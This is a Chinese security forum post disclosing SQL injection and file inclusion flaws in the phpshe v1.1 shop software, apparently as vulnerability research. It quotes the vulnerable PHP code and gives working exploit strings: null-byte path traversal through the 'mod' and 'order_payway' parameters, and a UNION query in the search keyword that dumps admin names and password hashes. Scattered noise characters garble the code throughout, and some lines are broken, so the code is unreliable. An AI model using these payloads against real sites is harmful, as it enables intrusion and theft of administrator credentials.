找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2326|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/: b$ p" P  x, y! c" C
/* Phpshe v1.1 Vulnerability
( L) v+ |& H' {/* ========================0 b0 S9 ]$ j, G2 r. X5 ]! `  ~% l
/* By: : Kn1f3( q% H2 r4 z' ?
/* E-Mail : 681796@qq.com2 B% ^/ W; \- h8 u8 j
/*******************************************************/
4 a2 Y, I4 {" X3 f7 v0×00 整体大概参数传输
* K9 ^2 ~) i& R: Q + d- b" [! F# L; ~- h2 U

  q1 B6 s0 R; ?3 f7 h# R3 \
* H3 o2 f& `7 u$ {! ]
//common.php' B$ y8 |& G/ d  Q: e* Y' S( w, w
if (get_magic_quotes_gpc()) {
; s& n# J" E& V9 }) _8 I!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
5 d4 T% z. h$ M, F; R7 Y!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
3 E6 J. W+ g# z) _" y}
: `* m) v: e" f1 @( z( a+ W5 Kelse {! }9 W3 Q1 S* p8 [
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
/ G8 s& Q+ t) t" v6 ]!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
. b6 W' ^7 I/ y2 v6 G, S}
! F. @/ w5 G; Z' s, \) {4 U% msession_start();  b) L& y& w" Y( O! M+ ~
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');1 p% D/ ?& n7 V6 j5 F3 e6 p% \
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
+ b2 ]* b8 H9 u3 G# _/ O
* k4 Z: q* n2 I& k" O, N, T0×01 包含漏洞6 q4 o4 e5 r( x4 v1 l; Z+ m

, g; C9 g9 S% ?' a
' H2 [4 ~  o  M/ e) @4 B; k) n6 U) I
//首页文件4 K3 [) v) \6 B5 U& }* J5 h
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);4 H6 O$ H- _4 _% a- C" \/ G, I
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
0 _$ ]0 t3 L/ `' n* Bpe_result();
4 A+ [  S  {/ J+ g8 K  t- q1 A?>
- t: N$ G. s! c8 _  I2 j2 V//common 文件 第15行开始% y% h5 {  L1 M- }
url路由配置7 p. @7 \" c: f
$module = $mod = $act = 'index';& r- D/ R6 r* ^2 T
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);+ @& f, o3 {3 c1 @
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
3 o, C% r) k' S% k4 Y$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
' j, f4 g# v/ j* @6 C6 C9 N3 t//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00; ?+ n4 \: f$ T6 N1 \( l  m


$ |  j6 f4 K) C$ N
) P/ i: T  g4 w" x& C! K 0×02 搜索注入
2 c* h4 d8 a, [7 G$ P; x& B1 R " ^/ h- @8 o- O9 x; B7 C
<code id="code2">

//product.php文件9 g8 T. ^* T7 G- g  E, G
case 'list':
2 Y; D% c7 |/ H5 p/ P& W$category_id = intval($id);* ^5 f. K7 o& A) A, G
$info = $db->pe_select('category', array('category_id'=>$category_id));" `7 G' v& x( k/ d
//搜索
2 |* |' e( r- i" {$sqlwhere = " and `product_state` = 1";7 ^) Y) x9 m% K4 {% X' h; \3 ~0 e
pe_lead('hook/category.hook.php');3 ^7 b$ X) v8 {2 D" A
if ($category_id) {! D" ]! ^; H  f4 J
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
2 h( |+ r6 S3 k# k+ `" t}) n) h2 Q" `2 I3 M
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
! c: l, \7 m& ^5 \if ($_g_orderby) {$ X$ ?4 e2 M8 C' T: \- r' Y, x
$orderby = explode('_', $_g_orderby);- ?7 `: V+ b2 m3 b9 u
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
, _7 c% m! O! C$ G  E& R}
* F4 m3 z/ p5 A* |else {
( m3 t/ w. ^8 L! G" e" g' k8 {$sqlwhere .= " order by `product_id` desc";4 b5 W8 U; |; c$ |5 R
}
3 |( S, }& ]9 @2 u6 r$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
( x0 K; z7 X7 U+ p* H) M5 H) v( p5 Y0 M! p//热卖排行0 M7 S! N4 s+ u- }* n* f8 `
$product_hotlist = product_hotlist();
1 g* T) o+ b! ]2 V  n+ y//当前路径7 f" h' j- o: I8 o
$nowpath = category_path($category_id);
( v0 M. N2 Q3 u, U. ~' a$seo = pe_seo($info['category_name']);
$ P. @; X! T' `3 z% v" V' l7 G; Qinclude(pe_tpl('product_list.html'));# h% e4 d5 f9 K, c8 W0 ^
//跟进selectall函数库
4 Z7 B; n, Y1 _, i( U3 Qpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())( \* K8 Y. l$ k: m
{1 o% z3 S! R$ W* d+ w
//处理条件语句- C. z. ]  ]& ]! w  }; p& {) n
$sqlwhere = $this->_dowhere($where);; q# v+ P; T; t$ M" Z( I
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
" N- {) z) {  X  m' X}* q) V% i' O  \
//exp+ }0 _! ^* ?8 y" d1 p/ X7 n
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1- z% u: x7 O4 Z$ d+ B2 M

</code>
+ g) x, A7 S* X. u9 Z6 l ' J! r. b0 M$ P
0×03 包含漏洞2; W8 E) C+ L: \" g0 L4 g

6 a1 Q9 C% H4 B<code id="code3">

//order.php

case 'pay':


& e& R4 t% [# u7 v& {/ X% W$order_id = pe_dbhold($_g_id);

6 n9 i/ T1 E  [; l# i  M
$cache_payway = cache::get('payway');


/ f! E8 o5 B4 D5 q- j1 k" eforeach($cache_payway as $k => $v) {


- R; j- ~2 ~/ J. b4 F0 u) @+ F' N$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

% X- a2 O0 {/ ]: y$ p: C
if ($k == 'bank') {


5 N# g8 g" y3 I3 E$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

) f0 i( _2 B: n- }2 n! H' |
}


' {8 j# I- n# s8 U! {5 e}


$ Z3 D! s% P( M: k  `  ^$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

2 J( A# |5 [3 }5 k  }" G
!$order['order_id'] && pe_error('订单号错误...');


; X" E" V5 M2 L2 B$ d. kif (isset($_p_pesubmit)) {


2 m' K1 x# W; c% p) cif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


, a1 s5 i% Y+ l' d) l2 F) H$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

0 z- P3 q5 S& @) G8 A3 ^
foreach ($info_list as $v) {

- q( Q: g; N8 G, W4 }0 d
$order['order_name'] .= "{$v['product_name']};";( _$ H% D3 p  I: X


) Q7 {! ]! c/ I& ]9 \3 ]( Y}


! A1 \+ ]/ ~2 N7 u! Z4 m- f3 l7 Pecho '正在为您连接支付网站,请稍后...';


, V: L& ~( j  o: P; x. linclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


$ B2 t8 U/ X. Q# {9 u9 k}//当一切准备好的时候就可以进行"鸡肋包含了"


( x. p: m, R( S8 t- t6 n" O! delse {


5 u' p1 l4 A! i* u* Npe_error('支付错误...');


6 W8 F+ y% G% l# e}


; J# D8 c1 _+ P# N: T}


  o% L" r  j% L( o( k5 C$seo = pe_seo('选择支付方式');

5 g; I! Y" R  T$ e- D& x
include(pe_tpl('order_pay.html'));

2 j8 q! _0 K( T2 _& F2 o7 `
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
" a, d, f; ?( R2 H& ^

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表